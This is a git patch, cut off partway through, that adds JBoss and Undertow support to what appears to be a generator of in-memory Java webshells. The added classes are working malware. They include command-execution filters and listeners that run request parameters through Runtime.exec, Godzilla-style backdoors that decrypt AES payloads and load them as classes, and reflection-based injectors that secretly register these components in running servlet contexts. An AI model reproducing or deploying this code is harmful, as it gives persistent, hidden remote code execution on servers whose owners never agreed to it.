From c30a00146d6b0f3176a28188ba63630e81500e8e Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 11 Dec 2024 01:31:20 +0800 Subject: [PATCH] feat: support jboss and undertow --- .github/workflows/ci.yaml | 2 +- .../com/reajason/javaweb/config/Server.java | 5 +- .../javaweb/memsell/jboss/JbossShell.java | 43 ++++ .../memsell/jboss/command/CommandFilter.java | 48 ++++ .../jboss/command/CommandListener.java | 74 ++++++ .../jboss/godzilla/GodzillaFilter.java | 127 ++++++++++ .../jboss/godzilla/GodzillaListener.java | 148 ++++++++++++ .../jboss/injector/JbossFilterInjector.java | 226 +++++++++++++++++ .../jboss/injector/JbossListenerInjector.java | 228 ++++++++++++++++++ .../memsell/undertow/UndertowShell.java | 42 ++++ .../undertow/command/CommandFilter.java | 48 ++++ .../undertow/command/CommandListener.java | 78 ++++++ .../undertow/godzilla/GodzillaFilter.java | 127 ++++++++++ .../undertow/godzilla/GodzillaListener.java | 152 ++++++++++++ .../injector/UndertowFilterInjector.java | 225 +++++++++++++++++ .../injector/UndertowListenerInjector.java | 216 +++++++++++++++++ .../jboss/docker-compose-4-jdk6.yaml | 11 + .../jboss/docker-compose-6-jdk7.yaml | 11 + .../jboss/docker-compose-7-jdk7.yaml | 11 + .../jbossas/Jboss423ContainerTest.java | 66 +++++ .../jbossas/Jboss510ContainerTest.java | 66 +++++ .../jbossas/Jboss610ContainerTest.java | 68 ++++++ .../jbossas/Jboss711ContainerTest.java | 66 +++++ .../jbosseap/JbossEap6ContainerTest.java | 63 +++++ .../jbosseap/JbossEap7ContainerTest.java | 63 +++++ .../wildfly/Wildfly18ContainerTest.java | 63 +++++ .../wildfly/Wildfly23ContainerTest.java | 63 +++++ .../wildfly/Wildfly9ContainerTest.java | 66 +++++ 28 files changed, 2403 insertions(+), 3 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jboss/JbossShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaListener.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/undertow/UndertowShell.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaListener.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowFilterInjector.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/undertow/injector/UndertowListenerInjector.java create mode 100644 integration-test/docker-compose/jboss/docker-compose-4-jdk6.yaml create mode 100644 integration-test/docker-compose/jboss/docker-compose-6-jdk7.yaml create mode 100644 integration-test/docker-compose/jboss/docker-compose-7-jdk7.yaml create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 193ef59c..e2aecfd0 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -27,7 +27,7 @@ jobs: integration-test: strategy: matrix: - middleware: [ "tomcat", "jetty" ] + middleware: [ "tomcat", "jetty", "jbossas", "jbosseap" ] runs-on: ubuntu-latest name: ${{ matrix.middleware }} needs: [ unit-test ] diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java index 84d64696..9701aec5 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java @@ -14,11 +14,12 @@ public enum Server { */ JETTY, /** - * JBoss 中间件 + * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 JBoss AS */ JBOSS, /** - * Undertow,对应是 Wildfly,也有可能是 SpringBoot 用的 + * Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的 + * JBossEAP */ UNDERTOW, diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/JbossShell.java new file mode 100644 index 00000000..05cbb800 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/JbossShell.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.memsell.jboss; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.AbstractShell; +import com.reajason.javaweb.memsell.jboss.command.CommandFilter; +import com.reajason.javaweb.memsell.jboss.command.CommandListener; +import com.reajason.javaweb.memsell.jboss.godzilla.GodzillaFilter; +import com.reajason.javaweb.memsell.jboss.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.jboss.injector.JbossFilterInjector; +import com.reajason.javaweb.memsell.jboss.injector.JbossListenerInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JbossShell extends AbstractShell { + + @Override + public List getSupportedShellTools() { + return List.of(ShellTool.Command, ShellTool.Godzilla); + } + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + Constants.FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class), + Constants.LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + Constants.FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class), + Constants.LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class) + ); + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandFilter.java new file mode 100644 index 00000000..5844ee74 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandFilter.java @@ -0,0 +1,48 @@ +package com.reajason.javaweb.memsell.jboss.command; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandFilter implements Filter { + public String paramName = "{{paramName}}"; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java new file mode 100644 index 00000000..bf08786b --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/command/CommandListener.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.memsell.jboss.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java new file mode 100644 index 00000000..e62ccd97 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaFilter.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memsell.jboss.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaFilter extends ClassLoader implements Filter { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaFilter() { + } + + public GodzillaFilter(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaListener.java new file mode 100644 index 00000000..a71e63c2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/godzilla/GodzillaListener.java @@ -0,0 +1,148 @@ +package com.reajason.javaweb.memsell.jboss.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(request, "response"); + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java new file mode 100644 index 00000000..70d8f2e8 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossFilterInjector.java @@ -0,0 +1,226 @@ +package com.reajason.javaweb.memsell.jboss.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class JbossFilterInjector { + + static { + new JbossFilterInjector(); + } + + public JbossFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable e1) { + e1.printStackTrace(); + } + } + return filter; + } + + @SuppressWarnings("all") + public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { + String filterClassName = getClassName(); + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { + return; + } + } catch (Exception ignored) { + } + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + try { + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + Constructor[] constructors; + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + constructors[0].setAccessible(true); + try { + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterClassName, filterConfig); + } catch (Exception e) { + // 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到 + if (!(e.getCause() instanceof ClassNotFoundException)) { + throw e; + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream gzipInputStream = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = gzipInputStream.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (Method value : methods) { + if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { + method = value; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java new file mode 100644 index 00000000..3b5b3627 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java @@ -0,0 +1,228 @@ +package com.reajason.javaweb.memsell.jboss.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class JbossListenerInjector { + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + static { + new JbossListenerInjector(); + } + + public JbossListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + } + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable ignored) { + } + } + return listener; + } + + @SuppressWarnings("all") + public void addListener(Object context, Object listener) throws Exception { + if (!this.isInjected(context, this.getClassName())) { + String filedName = "applicationEventListenersObjects"; + Object applicationEventListenersObjects = getFV(context, filedName); + if (applicationEventListenersObjects == null) { + filedName = "applicationEventListenersInstances"; + applicationEventListenersObjects = getFV(context, filedName); + } + if (applicationEventListenersObjects != null) { + Object[] appListeners = (Object[]) applicationEventListenersObjects; + if (appListeners != null) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, filedName, appListenerList.toArray()); + } + } else if (getFV(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFV(context, "applicationEventListenersList"); + if (appListeners != null) { + appListeners.add(listener); + } + } + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + ArrayList arrayList = new ArrayList(listeners); + for (Object o : arrayList) { + if (o.getClass().getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + static Object getFV(Object obj, String fieldName) throws Exception { + try { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception e) { + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 